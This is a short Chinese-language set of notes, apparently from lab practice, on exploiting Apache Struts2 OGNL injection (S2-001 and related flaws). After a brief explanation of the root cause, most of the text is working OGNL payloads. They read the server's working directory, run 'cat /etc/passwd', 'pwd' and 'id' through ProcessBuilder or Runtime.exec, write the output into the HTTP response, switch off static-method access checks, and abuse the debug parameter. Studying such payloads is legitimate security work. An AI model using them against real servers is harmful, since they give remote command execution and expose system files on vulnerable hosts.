目录
3.执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):
strust2
框架特征:文件后缀名为.action/.do
s2-001
漏洞原理:由于用户表单提交的数据验证失败时,后端会将用户提交的参数值使用OGNL表达式进行解析,解析完之后重新填充到表单数据中
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

tomcatBinDir{/usr/local/tomcat}
al/tomcat/webapps/ROOT/
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
/usr/local/tomcat
XWork 将使用 OGNL 表达式将 GET 参数的键和值解析为 Java 语句
\u0023# (unicode编码 \u)

配置验证规则时。如果类型验证转换失败,服务器将拼接用户提交的表单值字符串,然后执行 OGNL 表达式解析并返回

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
?debug=command&expression=%28%23application%29
